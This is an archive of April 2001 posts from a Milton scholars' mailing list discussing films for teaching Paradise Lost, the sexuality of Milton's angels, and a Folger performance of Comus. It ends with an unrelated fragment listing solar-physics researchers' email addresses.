Lettres > University of Lausanne > CH-1015 Lausanne > Switzerland > +41 21 692 29 88 > FAX: +41 21 692 29 35 > e-mail: Neil.Forsyth@ANGL.unil.ch From: Roy Flannagan [roy@gwm.sc.edu] Sent: Friday, April 13, 2001 9:53 AM To: milton-l@richmond.edu Subject: Re: Paradise Lost and films? For those of us interested in movies AND Paradise Lost, there are slim pickings for purposes of comparison--and probably more of the pickings from very early, silent movies than from later work. Eisenstein's great silent movies, especially Alexander Nevsky (get a good print with the Prokofiev music well-synched) and Battleship Potemkin, are works of art directly related to PL (there was an article by Sidney Gottlieb in MQ many years ago that quoted from Eisenstein's essays on montage in epic poetry and epic film). D. W. Griffith's Birth of a Nation, Intolerance, and Judith of Bethulia also try to do in epic film what Milton did in poetry. Images of innocent Adam and Eve types swimming in clear streams naked don't usually work as well as the pre-Fall images in PL. The Lord of the Flies movie might be better, to show naivete evolving into devil-worship. Try Nicholas Roeg's Walkabout as well, for images of childhood innocence, primitive joy with nature, and adult corruption. Satan images in cartoons and movies do generally work, from Disney's immense bat-winged Lucifer in Fantasia to Ursula the Sea Witch (very like Milton's Sin but also Satanic as she dilates) in The Little Mermaid. (I wrote an article about Ursula as a postmodern recreation of Sin as in the 1699 illustrations for PL, but it was scheduled for the ill-fated volume in memory of Georgia Christopher.) There are also Satanic seducers, from Louise Brooks's great seductress in Pandora's Box to Al Pacino's ""Milton"" the lawyer in The Devil's Advocate. There is Seven, a pretty nasty horror mystery built on the seven deadly sins and on Milton (I think he is at least quoted in the movie). And both Robert de Niro and Mickey Rourke have played Satan figures. For sheer evil, check Robert Mitchum's wonderful preacher/murderer in Charles Laughton's only movie, Night of the Hunter or, for that matter, his sadistic killer seducer who won't die in Cape Fear. Come to think of it, the films that at least run parallel to Paradise Lost in plot, characterization, and theme are a fairly rich group. Roy Flannagan >>> burbery@MARSHALL.EDU 04/12/01 05:38PM >>> Dear List: I'm wondering if anyone can recommend any films, new or old, that can help illuminate Paradise Lost in the classroom. Next week, I'll show my students a portion of Triumph of the Will (1935), with Hitler presiding over the Nuremburg rallies, as a rough analogue of Satan summoning the fallen angels in Book 1. I've also considered having them view the scenes from Alexander Nevsky that Eisenstein supposely based on the War in Heaven, though this is an old film and I don't have a good print of it. Are there other films you could recommend that contain thematic or visual motifs that correspond, somewhat, to scenes from PL? Thanks, Tim Burbery Marshall University From: Seb Perry [sebperry@hotmail.com] Sent: Friday, April 13, 2001 11:01 AM To: milton-l@richmond.edu Subject: Re: gay angels > Jeffrey Shoulson wrote: > > > >The OED's first instance of the term homosexuality > > comes from the very end of the 19th century: Indeed. Hence in Stoppard's *The Invention of Love*, Housman is outraged at this monstrous coinage that's half Greek and half Latin. John Leonard wrote: > The argument that what we now call ""sexual orientation"" (horrible term) > did not exist in previous epochs is very fashionable these days, as is > the argument that our ancestors did not think of themselves as ""the > subject."" This is obviously a huge and complex topic, and I have no > wish to get into it. I readily agree that the *terms* were different, > and had different nuances. But the idea that our ancestors did not have > sexual preferences--that rings false to me. Remember censorship! It > would be a brave homosexual/sodomite (what you will) who opened his > heart and mouth in renaissance Europe. People might be interested in the following link: http://www.fordham.edu/halsall/source/1395rykener.html It's a legal document concerning John Rykener, a 14th century male transvestite prostitute. While at Oxford, he slept with three scholars who later adamantly maintained that they were unaware of his real gender. ""This case stands not only as a rare source for the history of tranvestite and homosexually active people in late Medieval England, but as evidence of the suppression of that history by scholarly historians in the 19th and 20th centuries."" If terms like 'gay' and 'straight' are merely modern concepts, I'd be grateful if someone could explain what the following is doing in my *Riverside Chaucer*: ""Recent critics have tended to see him [The Pardoner] as a homosexual (McAlpine, PMLA 95, 1980, 8-22), who, unlike the eunuch, was a frequent figure of medieval satire (Mann, Ch and Estates, 145-48). In two mutually supporting articles in Mediaevalia 1985 (for 1982), C.D. Benson and R.F. Green present a strong case for the idea that the Pardoner is an effeminate heterosexual like Absolon in the Miller's Tale."" (p. 824). Seb Perry. From: Jean E Graham [graham@tcnj.edu] Sent: Sunday, April 15, 2001 4:10 PM graham@TCNJ.EDU using -f To: milton-l@richmond.edu References: <309ED8565671D4119C5A00A0C9D5DD7C03BC57DF@munt02.MARSHALL.EDU> In-Reply-To: <309ED8565671D4119C5A00A0C9D5DD7C03BC57DF@munt02.MARSHALL.EDU> MIME-Version: 1.0 Content-Type: text/plain Content-Transfer-Encoding: 8bit User-Agent: IMP/PHP3 Imap webMail Program 2.0.10 X-Originating-IP: 159.91.14.108 Subject: Re: Paradise Lost and films? Sender: owner-milton-l@richmond.edu Precedence: bulk Reply-To: milton-l@richmond.edu I've used Star Trek II: The Wrath of Khan (final battle between Kirk and Khan, but also note the pan of Khan's ship's bookshelf, containing a Bible, Moby Dick, and I think two copies of Paradise Lost) and the episode that inspired it, Space Seed (the end again, where Khan determines to create a heaven of the hell Kirk is consigning him to). Quoting ""Burbery, Timothy"" : > > Dear List: > > I'm wondering if anyone can recommend any films, new or old, that can help > illuminate Paradise Lost in the classroom. Next week, I'll show my > students > a portion of Triumph of the Will (1935), with Hitler presiding over the > Nuremburg rallies, as a rough analogue of Satan summoning the fallen angels > in Book 1. I've also considered having them view the scenes from Alexander > Nevsky that Eisenstein supposely based on the War in Heaven, though this is > an old film and I don't have a good print of it. > > Are there other films you could recommend that contain thematic or visual > motifs that correspond, somewhat, to scenes from PL? > > Thanks, > > Tim Burbery > Marshall University > > > > Jean E. Graham Coordinator, MA Program in English The College of New Jersey From: Lew Kaye-Skinner [L.Kaye-Skinner@navix.net] Sent: Friday, April 13, 2001 12:02 PM To: Milton List Subject: Re: Performance of masque at Folger A search of the Archives at the Washington Post Web site (www.washingtonpost.com) turned up the following: PHILIP KENNICOTT WASHINGTON POST STAFF WRITER Saturday, March 24, 2001 ; Page C03 Section: Style Word Count: 677 John Milton's masque ""Comus"" may have gotten a few laughs when it was first performed in 1634, but certainly not every time the word ""chastity"" was mentioned. The staged reading of ""Comus"" presented by the Folger Consort and Chatham Baroque at the Folger Shakespeare Library last night got giggles in the wrong places. ""Chastity,"" in particular, worked on the audience like a rubber chicken -- a sign that, despite a valiant effort, the cultural and moral distance between our time and Milton's was not to be br The summary or tease or whatever this is stops in mid-word as above. The full text of the article is available for $2.95 (US). My sense from the bit here is that the review is probably more critical of ""the cultural and moral distance between our time and Milton's,"" than of the production itself. Lew Kaye-Skinner University of Nebraska-Lincoln From: Su Fang Ng [ngsf@umich.edu] Sent: Friday, April 13, 2001 10:28 AM To: 'milton-l@richmond.edu' Subject: Re: Paradise Lost and films? MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-milton-l@richmond.edu Precedence: bulk Reply-To: milton-l@richmond.edu I've been thinking of showing Kevin Smith's _Dogma_ (1999) in a Milton class. There is a scene where one of the two banished angels justifies his decision to go through a desperate scheme to get back to heaven (even though it would result in the paradox of God being wrong and so would wipe out all existence). He rails against God for creating humans with free will even though humans don't deserve it since they keep sinning, while angels are created only to praise even though they're superior. I can't remember it exactly, but he sounds like Milton's Satan. The other angel points out to him that he's starting to sound like Lucifer when he fell. It's a fun movie, mocking Catholicism in a way only a former Catholic can, and I think a good example of a modern popular treatment of the same subject. Su Fang Ng On Thu, 12 Apr 2001, Burbery, Timothy wrote: > > Dear List: > > I'm wondering if anyone can recommend any films, new or old, that can help > illuminate Paradise Lost in the classroom. Next week, I'll show my students > a portion of Triumph of the Will (1935), with Hitler presiding over the > Nuremburg rallies, as a rough analogue of Satan summoning the fallen angels > in Book 1. I've also considered having them view the scenes from Alexander > Nevsky that Eisenstein supposely based on the War in Heaven, though this is > an old film and I don't have a good print of it. > > Are there other films you could recommend that contain thematic or visual > motifs that correspond, somewhat, to scenes from PL? > > Thanks, > > Tim Burbery > Marshall University > > > From: Cynthia A. Gilliatt [gilliaca@jmu.edu] Sent: Friday, April 13, 2001 3:00 PM To: milton-l@richmond.edu Cc: milton-l@richmond.edu Subject: Re: RE: gay angels? -- Hardly!! And where, one may ask, did ""Somewhere Over the Rainbow"" come to be a gay themesong,if not because JM's angels also sang it?! Cynthia, friend of Dorothy, as they used to say - and maybe still do! On Thu, 12 Apr 2001 09:59:40 EDT AntiUtopia@aol.com wrote: > It's not the just the hyacinth references, however -- Milton's angels also > like listening to Barbara Streisand and showtunes. > > Jim > -- JMU SAFE ZONES PARTICIPANT Cynthia A. Gilliatt English Department MSC 1801 James Madison University Harrisonburg VA 22807 gilliaca@jmu.edu http://raven.jmu.edu/~gilliaca/ 540-568-3762 or 6202 From: Robert Appelbaum [r_appel@yahoo.com] Sent: Saturday, April 14, 2001 2:55 PM To: milton-l@richmond.edu Subject: RE: gay angels? -- Hardly!! Larry Isitt wrote: If we remember Milton's veneration for his Bible as our starting point in a discussion of gay angels, we shall arrive at a more cautious answer: it is highly unlikely that gay angels exist for Milton if only because the Bible so adamantly opposes homosexuality and specifically declares that it is an abomination to God (Lev 18.22). Would Milton have defied his God in this matter? I doubt it very strongly. Yes, I think Biblical fundamentalism is absolutely the governing philosophy to be ascribed to Milton, as is evident also in the case of his tracts against divorce. And no doubt Milton would have embraced as well the identification of a few loose remarks in the Old Testament with ""the will of God."" In fact, it explains his wholesale rejection of the New Testament, so fraught with contradictions and ambiguities--all those weird parables--as opposed to the plainly visible will of God as expressed in the never-ambiguous Old Testament. I believe it was Milton's understanding of the Kingdom of the Jews under David and Solomon that led him to embrace the subordination of the church to the state, the legitimacy of absolutist government, and the practice of polygamy. Milton was always a strong defender of fundamentals. Robert Appelbaum English Department University of San Diego San Diego, CA 92110-2492 Visit my home page: www.geocities.com/r_appel/Robert.html And please forgive the commercial intrusion below: --------------------------------- Do You Yahoo!? Yahoo! Mail Personal Address - Get email at your own domain with Yahoo! Mail. From: Kimberly Latta [lattak@SLU.EDU] Sent: Friday, April 13, 2001 9:48 AM To: milton-l@richmond.edu Subject: Re: Paradise Lost and films? How about that crazy film that came out recently--what was it called--about the two fallen angels who are trying to slip back into heaven through a loophole, and Alannis Morissette as God? I thought it borrowed from Milton heavily and shed some interesting light on why we tend to sympathize with Satan in the poem. Kimberly > From: ""Burbery, Timothy"" > Reply-To: milton-l@richmond.edu > Date: Thu, 12 Apr 2001 17:38:47 -0400 > To: ""'milton-l@richmond.edu'"" > Subject: Paradise Lost and films? > > > Dear List: > > I'm wondering if anyone can recommend any films, new or old, that can help > illuminate Paradise Lost in the classroom. Next week, I'll show my students > a portion of Triumph of the Will (1935), with Hitler presiding over the > Nuremburg rallies, as a rough analogue of Satan summoning the fallen angels > in Book 1. I've also considered having them view the scenes from Alexander > Nevsky that Eisenstein supposely based on the War in Heaven, though this is > an old film and I don't have a good print of it. > > Are there other films you could recommend that contain thematic or visual > motifs that correspond, somewhat, to scenes from PL? > > Thanks, > > Tim Burbery > Marshall University > > > From: whunter [whunter@mymailstation.com] Sent: Saturday, April 14, 2001 7:36 AM To: milton-l@richmond.edu Subject: Angelic Sex For Larry Isett, et al., Please before you continue the debate read the evidence I have presented in Milton Quarterly, 34 (October 2000), 98-99. Then respond to it. One answer is that Milton didn't realize what he was doing. A better is that fallen Adam, inveighing against women before he had learned about man's restoration in Christ, was speaking in ignorance. Anyhow, please argue from the evidence I have presented from the poem that I have presented.. Bill Hunter From: Margaret Thickstun [mthickst@hamilton.edu] Sent: Friday, April 13, 2001 10:14 AM To: milton-l@richmond.edu Subject: Re: Paradise Lost and films? Tim--it seems to me you are trying for visual analogues, but I have found that the Star Wars trilogy, which students frequently already know well, is very useful for discussing Paradise Lost, both as epic and as stylistic extravaganza. Although it is not a poem, it is long, narrative, addresses ""a great and serious subject, related in an elevated style, and centered on a heroic or quasi-divine figure on whose actions depend"" the fate of the whole galaxy (quotations courtesy of M H Abrams). Like epic, it begins ""in medias res,"" with both Obi Wan Kenobi and Yoda filling in the background. Luke visiting Yoda to learn about the past and his place in history parallels Adam's conversation with Raphael nicely. The setting is cosmic, the conflict superhuman, the intervention of the gods embodied in the Force. Certainly Spielberg pulled out all the stops in using state of the art cinematography--and his redoing everything now that technology has improved demonstrates his commitment to having the trilogy be as fancy as possible. As I've said before on the list, students do a good job when asked to decide how to film Books 6 and 7 (I do this in class on two separate days, with each group of students being giving particular moments in the action--they go for claymation, animation, digital imaging, time-lapse --they are far more visually sophisticated and imaginative than I am). Good luck--Margie Margaret Thickstun Department of English Hamilton College 198 College Hill Rd Clinton, NY 13323 (315)859-4466 From: Cobelli@aol.com Sent: Friday, April 13, 2001 8:26 AM To: milton-l@richmond.edu Subject: Re: gay angels? -- Hardly!! Dear List: It would be interesting to see if anyone can come up with responses to my query about Aquinas' views about angels experiencing natural love (of either orientation?!), and what this could mean as a context for Milton's views about angelic behavior. Now the fallen angels of course had sexual urges and acted upon them (Biblical references, Old Testament Pseudipigrapha (Books of Adam and Eve), the Midrash on Genesis, and then there is Byron's incomplete play Heaven and Earth (which, incidentally has some wonderful lyrical choric passages)), so would this imply that in their unfallen state they perhaps had natural love, but love free from concupiscence? Scott Grunow Editor-in-Chief Office of Publications Services University of Illinois at Chicago scottgr@uic.edu (312) 996-3324 From: John Leonard [jleonard@uwo.ca] Sent: Thursday, April 12, 2001 11:11 AM To: milton-l@richmond.edu Subject: Re: gay angels? -- Hardly!! . > RE: John Leonard's suggestion concerning ""Hyacinth"" as indicator of possible > homosexuality. > > Are we also prepared,given this heading, to make a homosexual of Adam whose > ""Hyacinthin Locks"" were ""manly hung"" about his head? (PL 4.301-02) Again, I > doubt it. > Larry is obviously right about Adam. Of course ""Hyacinthin Locks"" does not imply homosexuality. It is an echo of Odyssey 6. 231, where Odysseus' hair flows like a hyacinth flower. The reference is probably to colour. But the case is different in the lines I quoted from Fair Infant. Here the reference is most certainly to Apollo's love for the beautiful youth Hyacinthus. Lest anyone doubt this, let me cite the lines in context: Yet art thou not inglorious in thy fate; For so Apollo, with unweeting hand Whilom did slay his dearly-loved mate Young Hyacinth born on Eurotas strand Young Hyacinth the pride of Spartan land. ""Mate"" there might mean nothing more than ""companion"" (as when Satan calls to his ""neerest Mate""), but the other sense ""lover, paramour"" did exist and is attested in 17th century English (see OED). Hyacinth was Apollo's mate in both senses (""G'day mate""). Milton does not spell this out (""dearly-loved"" is not conclusive), but the lines are suggestive. Now to ""pride."" ""Orpheus"" (""Woods and Rocks had Eares to rap-to-ya"") rightly takes me to task for my rash comment that ""pride"" might have something of its modern gay resonance. He mockingly suggests that the real reference is to a pride of lions. I think most of us would agree that ""pride"" here means ""the prime; the flower""(OED 9a) and that Hyacinthus is the pride of Spartan land in the sense of being Sparta's most beautiful youth. Does anyone seriously doubt this? My point in drawing (an admittedly inept) comparison with the modern gay use of ""pride"" was that Milton's ""pride"" also has a social dimension. The reference is not only to Hyacinthus's beauty, but to the Spartan festival of the Hyacinthia in which ephebes would sing praises to Apollo. I still think that this is plausible, even probable. Milton would have known about Spartan festivals, which are described by Plutarch and Xenophon, among others. None of this proves anything about Milton's sexual preferences. Let me be clear: I have no doubt whatever that Milton always liked women. But there are many hints in the poems that he was also sensitive to male beauty. Maybe I am wrong about this, but I am not wrong for the reason Larry gives. My point about ""Young Hyacinth"" is not demolished just because Larry can quote another reference to Hyacinth which is clearly free from homoerotic associations. The erotic and social nuances of ""pride"" are not cancelled just because ""Orpheus"" reminds us that we can speak of a pride of lions. Yes, signs are iterable, but meaning can be determined by context. In the lines from ""Fair Infant"", Young Hyacinth is the Hyacinthus loved by Apollo. He is the ""pride of Spartan land"" because of his beauty, and because his fate is commemorated in public festivals. John Leonard From: tom bishop [tgb2@po.cwru.edu] Sent: Thursday, April 12, 2001 10:27 AM To: milton-l@richmond.edu Subject: Re: Performance of masque at Folger Not having seen ""A Masque"""" before this performance, and hence having eyes not so jaded as Roy reports his, I offer the following thoughts. One thing that the Folger production brought out for me was the very great difficulty of finding modern performers who can manage all that the masque requires -- more, I note, than other court masques of the period. Jones' court masques hardly ever required performers to do more than two of three things -- speak, sing, dance. But the Lady, in particular, must be adept at all three: her verse is complex and periodic, she has a tough song to sing, involving difficult intervals, and she has to dance. Whether Alice Egerton were any good at all these we don't know, but then her audience was probably an indulgent one. On a modern stage, the order is a tall one, as it is also for the Demon. The Folger production chose to emphasize the text -- indisputably the right choice in the circumstances, I think. Richard Clifford's Comus, an aristocratic sybarite of mellifluous tonal register and exquisite vocal control (and deliciously curly Oriental slippers) was the glue that held the piece together. His Lady looked good and spoke well. Her singing was less reliable. The hard work in limited time he and his cast had done on the text mostly paid off, though it exposed the very different kinds of vocal training the English and American theater traditions afford. Costuming was vivid, in bright colors, and with some charming animal heads on the rout. Setting was minimal, with only some patterned drops, and a roll-out float for Sabrina and her attendants (the thought ""Miss Shropshire"" passed through my mind). The dancing was accurate and well-choreographed, though there was only one country-dance where I would have preferred several, and a few more bodies would have been livelier. The music was excellent, its presence emphasized by an opening ""Overture"". Given limited resources of time and expertise, I thought it a very creditable production. Improvement would probably have cost more than any company has at its disposal for a piece of very limited appeal to a modern audience. From: Burbery, Timothy [burbery@MARSHALL.EDU] Sent: Thursday, April 12, 2001 5:39 PM To: 'milton-l@richmond.edu' Subject: Paradise Lost and films? Dear List: I'm wondering if anyone can recommend any films, new or old, that can help illuminate Paradise Lost in the classroom. Next week, I'll show my students a portion of Triumph of the Will (1935), with Hitler presiding over the Nuremburg rallies, as a rough analogue of Satan summoning the fallen angels in Book 1. I've also considered having them view the scenes from Alexander Nevsky that Eisenstein supposely based on the War in Heaven, though this is an old film and I don't have a good print of it. Are there other films you could recommend that contain thematic or visual motifs that correspond, somewhat, to scenes from PL? Thanks, Tim Burbery Marshall University From: John Leonard [jleonard@uwo.ca] Sent: Thursday, April 12, 2001 9:17 AM To: milton-l@richmond.edu Subject: Re: gay angels Jeffrey Shoulson wrote: > > The comments by William Hunter and John Leonard open an > important avenue for further discussion. It's important to bear > in mind that our modern categories of sexuality are just > that--modern. While certain kinds of sexual behavior were > clearly regarded as permissible or impermissible in the early > modern period, most of the current research with which I'm > familiar makes it equally clear that an individual's > subjectivity--be it that of a mortal or an angel--was only > beginning to be constructed in terms of a fixed sexual > identity. The OED's first instance of the term homosexuality > comes from the very end of the 19th century: The argument that what we now call ""sexual orientation"" (horrible term) did not exist in previous epochs is very fashionable these days, as is the argument that our ancestors did not think of themselves as ""the subject."" This is obviously a huge and complex topic, and I have no wish to get into it. I readily agree that the *terms* were different, and had different nuances. But the idea that our ancestors did not have sexual preferences--that rings false to me. Remember censorship! It would be a brave homosexual/sodomite (what you will) who opened his heart and mouth in renaissance Europe. But Greece is different. Those who think that the notion of sexual preference was unknown before the 20th century should re-read Aristophanes's speech in Plato's Symposium (191-192). Aristophanes very clearly divides the human race into four groups: 1) ""Men who are . . . lovers of women"" 2) ""women who lust after men"" 3) ""women who have . . . female attachments"" 4) ""they who are a section of the male . . . and hang about men"" (trans. Jowett 318) There are differences from today. Aristophanes's groups 1 and 2 are specifically called ""adulterers"" (one wonders how, and whether, marriage fits into this scheme). But Plato clearly was aware that some men like women, some men like men, some women like women, some women like men. This sounds rather like ""modern categories of sexuality"" to me. John Leonard From: Neil Forsyth [Neil.Forsyth@angl.unil.ch] Sent: Friday, April 06, 2001 11:53 AM To: milton-l@richmond.edu Subject: Re: Performance of masque at Folger id f36GGst08929 Sender: owner-milton-l@richmond.edu Precedence: bulk Reply-To: milton-l@richmond.edu Hello Stella A former student of mine sent me this account of the masque. (There was also a harsh review in the Washington Post, it seems, perhaps for march 24.) I forgot to tell you about the one thing I most wanted to tell you about. I saw Comus at the Folger Shakespeare Theatre last Saturday! I bet you're fiercely jealous. I must say that it was by far the best Comus I've ever seen. But at the same time, it was also by far the worst Comus I've ever seen. It was quite amateurish (as it should be, you may think, since it would originally have been performed by amateurs), most actors fighting a losing battle with Milton's beautiful language. Sabrina, by contrast, was rather too much of a professional, a heroine with an operatic voice straight out of a Wagner opera (Br�nhilde!). It was quite comic. Predictably, the theme of chastity raised more laughs than Milton intended which didn't make the actors' job any easier. Disappointingly, there was rather less music and dancing than I had expected. All in all, having gotten free tickets, I quite enjoyed the spectacle despite its flaws, but those who bought tickets for $35 or $40 understandably felt somewhat cheated. Best wishes Neil Neil Forsyth Facult� des Lettres University of Lausanne CH-1015 Lausanne Switzerland +41 21 692 29 88 FAX: +41 21 692 29 35 e-mail: Neil.Forsyth@ANGL.unil.ch From: AntiUtopia@aol.com Sent: Thursday, April 12, 2001 10:00 AM To: milton-l@richmond.edu Subject: RE: gay angels? -- Hardly!! It's not the just the hyacinth references, however -- Milton's angels also like listening to Barbara Streisand and showtunes. Jim From: Larry Isitt [isitt@cofo.edu] Sent: Friday, April 06, 2001 1:52 PM To: milton-l@richmond.edu Subject: RE: gay angels? -- Hardly!! RE: William Hunter's thesis: ""heaven is populated by actively gay angels"" If we remember Milton's veneration for his Bible as our starting point in a discussion of gay angels, we shall arrive at a more cautious answer: it is highly unlikely that gay angels exist for Milton if only because the Bible so adamantly opposes homosexuality and specifically declares that it is an abomination to God (Lev 18.22). Would Milton have defied his God in this matter? I doubt it very strongly. But perhaps Bill is just being amusing. RE: John Leonard's suggestion concerning ""Hyacinth"" as indicator of possible homosexuality. Are we also prepared,given this heading, to make a homosexual of Adam whose ""Hyacinthin Locks"" were ""manly hung"" about his head? (PL 4.301-02) Again, I doubt it. Larry Isitt English Dept. College of the Ozarks Point Lookout, MO 65726 417-334-6411, Ext. 4269 email: isitt @ cofo.edu -----Original Message----- From: owner-milton-l@richmond.edu [mailto:owner-milton-l@richmond.edu]On Behalf Of John Leonard Sent: Thursday, April 05, 2001 11:29 AM To: milton-l@richmond.edu Subject: gay angels whunter wrote: > > I suggest that you begin by reading the standard work, Bob West's book on > Milton and angels. Then think further on how Milton applies it: To > support the concept of the Great Chain of Being or the Scale of > Nature. Check out too my analysis in Visitation Unimplor'd (and note CCD's > ignorance of vthe issue--which might have helped that author's concept of > everything being ex deo. And then there is the sexuality of Milton's > angels, a somewhat similar issue. Angels have sex. They are all males; > heaven is populated by actively gay angels. Again see VU. > > W. B. Hunter This is certainly one possible construction of the evidence, and perhaps the most plausible one. But might not Milton also allow room for heterosexual (and lesbian) angels when he writes: ""Spirits when they please / Can either sex assume or both"" (I 423-44)? Or does ""Spirits"" here refer exclusively to devils? The question of homosexuality (or bisexuality) in Milton is fascinating. One possible piece of evidence often overlooked is this, from ""Fair infant"": Young Hyacinth, born on Eurotas' strand Young Hyacinth, the pride of Spartan land. The allusion might not be *only* to the myth (suggestive in itself), but also to the Spartan Hyacinthia, a festival in Apollo's honour, in which here handsome boys played a conspicuous part. Homosexuality was a way of life in Sparta. ""Pride"" here might even have something like its modern gay resonance. John Leonard From: Cobelli@aol.com Sent: Saturday, April 07, 2001 10:30 PM To: Milton-l@richmond.edu Subject: Re: the sexuality of angels Dear Listers: I checked out www.raphael.net which contains Aquinas' teaching on angels (I decided to hit upon a primary source in this discussion, though the book Milton and the Angels a fellow lister cited is definitely looming on my reading list). From what I gather from my limited exposure to the text at this point, he seems to conclude they are incorporeal substances (spiritual bodies?) who also experience a natural love. How can one therefore conclude they experience sexuality? He does conclude that they can experience natural affection between each other, but does this mean and/or include sexual interactions in the physical, corporeal sense? This is obviously a complex issue which I probably have misunderstood from the beginning, so pardon my ignorance. Scott Grunow Editor-in-Chief Office of Publications Services University of Illinois at Chicago scottgr@uic.edu From: Jameela Lares [jlares@ocean.otr.usm.edu] Sent: Monday, April 09, 2001 9:01 AM To: Milton-List Subject: Faulkner and Comus Our Faulkner specialist here has asked me to pass along a query. He is editing an odd short story by Faulkner which makes passing reference to ""Comus' second speech,"" but finds of course that the _Masque_ has more than two lengthy passages spoken by Comus. He is thinking that in Faulkner's time (1920s through 50s, I imagine), the term ""Comus' second speech"" had a very clear referent, now lost. Can anyone help? Jameela Lares Associate Professor of English University of Southern Mississippi Hattiesburg, MS 39406-5037 +(601) 266-6214 ofc +(601) 266-5757 fax From: Chris Hair [crhair0@pop.uky.edu] Sent: Friday, April 06, 2001 12:46 PM To: milton-l@richmond.edu Subject: Re: New Critical Mythologies Satan pictured as James and Charles may refer to the 1688 edition of Paradise Lost. The edition, edited by Tonson, has been viewed by some as a political statement against Charles. First, the timing is suggestive, on the eve of the Glorious Revolution. Secondly, Satan in the first illustration apparently resembles a statue of James II that was near Whitehall (placed 1686). See Estella Schoenburg, ""The Face of Satan, 1688"" in _Ringing the Bell Backward_ (1982) and Shawcross, ""The First Illustrations for Paradise Lost"" in Milton Quarterly 9 (1975). For further discussion, see Suzanne Boorsch and Mary D. Ravenhall's articles on the political connections. Chris Hair ----- Original Message ----- From: John Leonard To: Sent: Monday, April 02, 2001 9:25 AM Subject: Re: New Critical Mythologies > Jim ""Anti-Utopia"" (quoting someone else, the words are not his) writes: > > > > > > > > > Why do you think the meaning of a text can be discussed apart from its > > > physical form? Take the early editions of paradise lost where Satan is > > > pictured as James or Charles. > > > I'm puzzled by this. What early editions are being referred to? What > is meant by ""pictured""? Are you referring to the 1688 illustrations? > If so, where is the evidence for a clear reference to James or Charles? > Just what ""physical form"" are you referring to? > > Intrigued, > > John Leonard > From: Orpheus [cwduff@alcor.concordia.ca] Sent: Friday, April 06, 2001 12:43 PM To: milton-l@richmond.edu Subject: Re: gay angels On the other hand, it might just mean pride as in a pride of lions. ----- ""Pride"" here might even have something like its > modern gay resonance. From: Roy Flannagan [roy@gwm.sc.edu] Sent: Friday, April 06, 2001 8:46 AM To: milton-l@richmond.edu Subject: Re: Performance of masque at Folger Any one review of the performance of the masque at the Folger would probably disagree with all others, about actors, dancers, musicians, costumes, lighting, choreography. Most of the members of the audience, I am sure, were just glad to have an opportunity to see a performance of a work so rarely performed. Stella Revard has probably seen more performances than anyone else, with about six, and I have seen at least five--one at Rochester (Sixties), one at Syracuse (Seventies), one at Cambridge (early Eighties), and the one at the Folger. Stella, I know, likes a public performance she saw at Ludlow, in the castle, but that's one I haven't seen, and there was the off-central-London performance that Margaret Arnold just mentioned, and I didn't see that either. A director has several important choices: should Comus be played as a young Bacchus, dripping odors, dripping wine, with curly locks, or should he be a dirty old man, unctuous or slimy? Traditionally, anyone kin to Bacchus should be a belly-god, and Stephen Orgel showed the one prior English (Inigo Jones) Comus as a fat naked Bacchus-type. The Folger director, Richard Clifford, casting himself in the role of Comus, had to present a slender, suave, middle-aged Comus, inclining toward the slimy rather than the overweight. Another important choice is whether to present the principal actors as static, operatic characters at lecterns, or whether to make them memorize their lines and move about the stage. Because of thrift, the Folger actors read their lines from the lecterns: they weren't off-book yet. This choice means the difference between a Broadway musical masque and an oratorio in which the actors say or sing their lines from one fixed position. The reviewer from the Washington Post called the performance a Milton soap-opera, which was unkind, but he did commend the clear reading of the lines (this was amazing: from the rear of the Folger theater, the famous reconstruction of the Globe, I could hear every word); the music of Henry Lawes and others played by the highly professional Folger Consort led by Robert Eisenstein; and the period dancing choreographed by Julie Andrijeski. The singing was one-third professional (Sabrina, as sung by Rosa Lamoreaux), and two-thirds proficient (everyone else hit the notes on schedule). I was a jaded viewer, having seen the work performed so often in the last thirty years, so my opinion of what Comus should look like, or what movement is necessary, or what color or texture the costumes should be, was also jaded. It might be more interesting to have some first-time viewers give their impressions of what they saw. Roy Flannagan From: Jeffrey Shoulson [jshoulson@miami.edu] Sent: Friday, April 06, 2001 9:26 AM To: milton-l@richmond.edu Subject: Re: gay angels The comments by William Hunter and John Leonard open an important avenue for further discussion. It's important to bear in mind that our modern categories of sexuality are just that--modern. While certain kinds of sexual behavior were clearly regarded as permissible or impermissible in the early modern period, most of the current research with which I'm familiar makes it equally clear that an individual's subjectivity--be it that of a mortal or an angel--was only beginning to be constructed in terms of a fixed sexual identity. The OED's first instance of the term homosexuality comes from the very end of the 19th century: ""1892 C. G. CHADDOCK tr. Krafft-Ebing's Psychopathia Sexualis III. 185 (heading) Great diminution or complete absence of sexual feeling for the opposite sex, with substitution of sexual feeling and instinct for the same sex. (Homo-sexuality, or contrary sexual instinct.)"" Alan Bray's very interesting study, _Homosexuality in Renaissance England_, cites several other words that were often used to describe individuals whose sexual behavior would now be termed ""homosexual"": ganymede, pathic, cinaedus, catamite, bugger, ingle, sodomite. What is especially intriguing about William Hunter's observation--and like John Leonard, I have always understood Milton to be suggesting that all angels, fallen or otherwise, could assume either sex in the act of coupling, anticipating, perhaps, Freud's characterization of infantile sexuality as ""polymorphously perverse""--is that an early modern term for what we now call ""gay"" sex was, of course, ""sodomy."" To understand Milton to be suggesting that the angels in heaven were enjoying a kind of sexuality that the fallen world was so clearly vilifying with such a term is to open up many of the interesting observations concerning fallen and unfallen sexuality raised by Turner in his _One Flesh_ to a very different, queering, kind of analysis. I'd be interested to know the thoughts of others on this. All the best, Jeffrey Shoulson",0,1 Mike Kaiser ,"reiner@urap.gsfc.nasa.gov, thompson@eitv3.nascom.nasa.gov, stcyr@cua.edu, bale@sunspot.ssl.berkeley.edu, ennio.sanchez@sri.com, robert.macdowall@gsfc.nasa.gov, mdryer@sec.noaa.gov, u2leb@lepvax.gsfc.nasa.gov, bougeret@obspm.fr, gopals@fugee.gsfc.nasa.gov, ipavich@umtof.umd.edu, nitta@lmsal.com, kaiser@lepmlk.gsfc.nasa.gov, xrdbb@lepvx3.gsfc.nasa.gov, golla@urap.gsfc.nasa.gov, kartalev@geospace4.imbm.bas.bg, bfleck@esa.nascom.nasa.gov, RWC.BOULDER@noaa.gov, space@afwa.af.mil, roger-r-anderson@uiowa.edu, u2dhf@lepdhf.gsfc.nasa.gov, zsmith@sec.noaa.gov, eort@sec.noaa.gov, nigel@ips.gov.au, bmurtagh@sec.noaa.gov, gfry@expi.com, ccwu@bxsvr2.bartol.udel.edu, gheckman@sec.noaa.gov, plunkett@kreutz.nascom.nasa.gov, hudson@isass0.solar.isas.ac.jp, ebend@netlabs.net, cbalch@sec.noaa.gov, nicola.fox@gsfc.nasa.gov, 